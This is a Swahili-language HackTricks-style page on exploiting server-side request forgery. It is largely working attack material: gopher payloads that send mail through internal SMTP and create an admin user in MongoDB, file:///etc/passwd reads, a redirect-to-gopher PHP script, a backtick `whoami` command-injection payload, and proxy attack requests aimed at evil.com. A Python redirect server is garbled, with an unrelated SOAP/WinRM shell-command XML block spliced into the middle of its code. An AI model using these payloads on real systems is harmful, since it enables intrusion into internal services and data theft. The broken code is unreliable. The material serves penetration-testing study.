SSRF (Server Side Request Forgery)

Tumia Trickest kujenga na kutumia workflows kwa urahisi zinazotumia zana za jamii ya juu zaidi duniani. Pata Ufikiaji Leo:

Jifunze AWS hacking kutoka sifuri hadi shujaa na htARTE (HackTricks AWS Red Team Expert)!

Njia nyingine za kusaidia HackTricks:

Taarifa Msingi

Ugunduzi wa udhaifu wa Server-side Request Forgery (SSRF) hutokea wakati muhusika anaharibu programu upande wa server kufanya ombi la HTTP kwa kikoa wanachochagua. Udhaifu huu unafunua server kwa maombi ya nje yasiyo na mpangilio yanayoongozwa na muhusika.

Kukamata SSRF

Jambo la kwanza unahitaji kufanya ni kukamata mwingiliano wa SSRF uliotengenezwa na wewe. Kukamata mwingiliano wa HTTP au DNS unaweza kutumia zana kama:

Kupitisha Domains Zilizowekwa kwenye Orodha ya Kufanya

Kawaida utagundua kuwa SSRF inafanya kazi tu kwenye aina fulani za domains au URL. Kwenye ukurasa unaofuata una mkusanyiko wa mbinu za kujaribu kupitisha orodha hiyo:

Kupitisha kupitia kuelekeza wazi

Ikiwa server imekingwa vizuri unaweza kupitisha vizuizi vyote kwa kutumia Kuelekeza wazi kwenye ukurasa wa wavuti. Kwa sababu ukurasa wa wavuti utaruhusu SSRF kwa kikoa kile kile na labda itafuata kuelekeza, unaweza kutumia Kuelekeza wazi kufanya server kufikia rasilimali yoyote ya ndani. Soma zaidi hapa: https://portswigger.net/web-security/ssrf

Itifaki

  • file://

  • Mpangilio wa URL file:// unarejelea, ukionyesha moja kwa moja kwa /etc/passwd: file:///etc/passwd

  • dict://

  • Mpangilio wa URL wa DICT unaelezewa kutumika kwa kupata ufafanuzi au orodha za maneno kupitia itifaki ya DICT. Mfano uliotolewa unadhihirisha URL iliyoundwa ikilenga neno maalum, database, na nambari ya kuingia, pamoja na mfano wa skripti ya PHP inayoweza kutumiwa vibaya kuunganisha kwenye seva ya DICT kwa kutumia sifa zilizotolewa na muhusika: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>

  • SFTP://

  • Kutambuliwa kama itifaki ya uhamishaji salama wa faili kupitia ganda la usalama, mfano unatolewa ukionyesha jinsi skripti ya PHP inaweza kutumiwa kuunganisha kwenye seva mbaya ya SFTP: url=sftp://generic.com:11111/

  • TFTP://

  • Itifaki ya Uhamishaji wa Faili Rahisi, ikifanya kazi kupitia UDP, inatajwa na mfano wa skripti ya PHP iliyoundwa kutuma ombi kwa seva ya TFTP. Ombi la TFTP linatolewa kwa 'generic.com' kwenye bandari '12346' kwa faili 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET

  • LDAP://

  • Sehemu hii inashughulikia Itifaki ya Upatikanaji wa Dhibiti la Mwanga, ikisisitiza matumizi yake kwa kusimamia na kupata huduma za habari za saraka zilizosambazwa kupitia mitandao ya IP. Kuwasiliana na seva ya LDAP kwenye localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.

  • SMTP

  • Njia inaelezewa ya kutumia udhaifu wa SSRF kuingiliana na huduma za SMTP kwenye localhost, ikiwa ni pamoja na hatua za kufunua majina ya kikoa cha ndani na hatua zaidi za uchunguzi kulingana na habari hiyo.

From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - Kupita kwa WAF

  • Ikiwa SSRF inatekelezwa na curl, curl ina kipengele kinachoitwa URL globbing ambacho kinaweza kuwa na manufaa katika kukiuka WAFs. Kwa mfano katika hii andika unaweza kupata mfano huu kwa upitishaji wa njia kupitia itifaki ya file:

file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://

  • Uwezo wa itifaki ya Gopher wa kutaja IP, bandari, na baits kwa mawasiliano ya seva unajadiliwa, pamoja na zana kama Gopherus na remote-method-guesser kwa kutengeneza mizigo. Matumizi mawili tofauti yanaelezwa:

Gopher://

Kwa kutumia itifaki hii unaweza kutaja IP, bandari na bytes unazotaka seva itume. Kisha, unaweza kimsingi kutumia SSRF kuwasiliana na seva yoyote ya TCP (lakini unahitaji kujua jinsi ya kuzungumza na huduma kwanza). Bahati nzuri, unaweza kutumia Gopherus kutengeneza mizigo kwa huduma kadhaa. Kwa kuongezea, remote-method-guesser inaweza kutumika kutengeneza mizigo ya gopher kwa huduma za Java RMI.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP - Rudi kwa 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Unda mtumiaji mwenye jina la mtumiaji=admin na nywila=admin123 na kibali=msimamizi

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF kupitia kichwa cha Referrer & Wengine

Programu za takwimu kwenye seva mara nyingi hurekodi kichwa cha Referrer kufuatilia viungo vinavyoingia, mazoezi ambayo kwa bahati mbaya hufunua programu kwa Vulnerabilities ya Server-Side Request Forgery (SSRF). Hii ni kwa sababu programu kama hizo zinaweza kutembelea URL za nje zilizotajwa kwenye kichwa cha Referrer kuchambua maudhui ya tovuti ya rufaa. Ili kugundua vulnerabilities hizi, programu-jalizi ya Burp Suite "Collaborator Everywhere" inapendekezwa, ikichangamana na njia analytics zana zinavyoprocess kichwa cha Referer kutambua maeneo ya mashambulizi ya SSRF.

SSRF kupitia data ya SNI kutoka kwenye cheti

Hitilafu ambayo inaweza kuwezesha uhusiano kwa seva yoyote kupitia usanidi rahisi inaelezwa kwa mfano wa usanidi wa Nginx:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

Katika usanidi huu, thamani kutoka kwa uga wa Jina la Seva Indication (SNI) hutumiwa moja kwa moja kama anwani ya seva ya nyuma. Usanidi huu unafunua udhaifu wa Server-Side Request Forgery (SSRF), ambao unaweza kutumiwa kwa kuelekeza tu anwani ya IP au jina la uwanja uliokusudiwa katika uga wa SNI. Mfano wa kutumia udhaifu huu kwa kushurutisha uhusiano kwa seva ya nyuma isiyojulikana, kama vile internal.host.com, kwa kutumia amri ya openssl umeelezewa hapa chini:

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF na Kuingiza Amri

Inaweza kuwa na thamani kujaribu mzigo kama huu: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

Utoaji wa PDFs

Ikiwa ukurasa wa wavuti unazalisha moja kwa moja PDF na habari fulani umetoa, unaweza kuweka JS ambayo itatekelezwa na mtengenezaji wa PDF yenyewe (seva) wakati wa kuzalisha PDF na utaweza kutumia SSRF. Pata habari zaidi hapa.

Kutoka SSRF hadi DoS

Unda vikao kadhaa na jaribu kupakua faili nzito ukitumia udhaifu wa SSRF kutoka kwa vikao.

Vipengele vya PHP vya SSRF

SSRF Kuhamisha kwa Gopher

Kwa baadhi ya uchimbaji unaweza kuhitaji kutuma jibu la kuhamisha (labda kutumia itifaki tofauti kama gopher). Hapa una nambari tofauti za python kujibu kwa kuhamisha:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
```html
<p>Ennoble xmln:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:h="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:n="http://schemas.xmlsoap.org/ws/2004/09/enumeration" xmlns:p="http://schemas.xmlsoap.org/ws/2004/08/addressing" xmlns:w="http://schemas.xmlsoap.org/ws/2001/XMLSchema">
    <s:Header>
        <a:To>HTTP://192.168.1.1:5986/wsmain/</a:To>
        <w:ResourceURI s:mustUnderstand="true">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</w:ResourceURI>
        <a:ReplyTo>
            <a:Address s:mustUnderstand="false">http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous</a:Address>
        </a:ReplyTo>
        <a:Action>http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous/ExchangeShellCommand</a:Action>
        <w:OperationTimeout>PT1M30S</w:OperationTimeout>
        <w:Locale xml:lang="en-us" s:mustUnderstand="false"/>
        <w:OptionSet>
            <w:Option Name="__cimnamespace">root/scx</w:Option>
            <w:Option Name="ecu -n YmFzaCAtdCAgYmFzaH</w:Option>
            <w:Timeout>0</w:Timeout>
        </w:OptionSet>
    </s:Header>
</s:Envelope>
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Tumia Trickest kujenga na kutumia workflows kwa urahisi zinazotumia zana za jamii ya juu zaidi duniani. Pata Ufikiaji Leo:

Proksi zilizowekwa vibaya kwa SSRF

Mbinu kutoka kwenye chapisho hili.

Flask

Msimbo hatari wa proksi ya Flask

```python from flask import Flask from requests import get

app = Flask('main') SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''}) @app.route('/path:path')

def proxy(path): return get(f'{SITE_NAME}{path}').content

if name == "main": app.run(threaded=False)

</details>

Flask inaruhusu kutumia **`@`** kama herufi ya kwanza, ambayo inaruhusu kufanya **jina la mwenyeji wa awali kuwa jina la mtumiaji** na kuingiza mpya. Ombi la shambulio:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Msimbo unaoweza kudhuriwa:

Iligundulika kwamba Inawezekana kuanza njia ya ombi na herufi ; ambayo inaruhusu kutumia @ na kuingiza mwenyeji mpya wa kupata. Ombi la shambulio:

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

Seva ya Wavuti ya Kujengwa kwa PHP

Last updated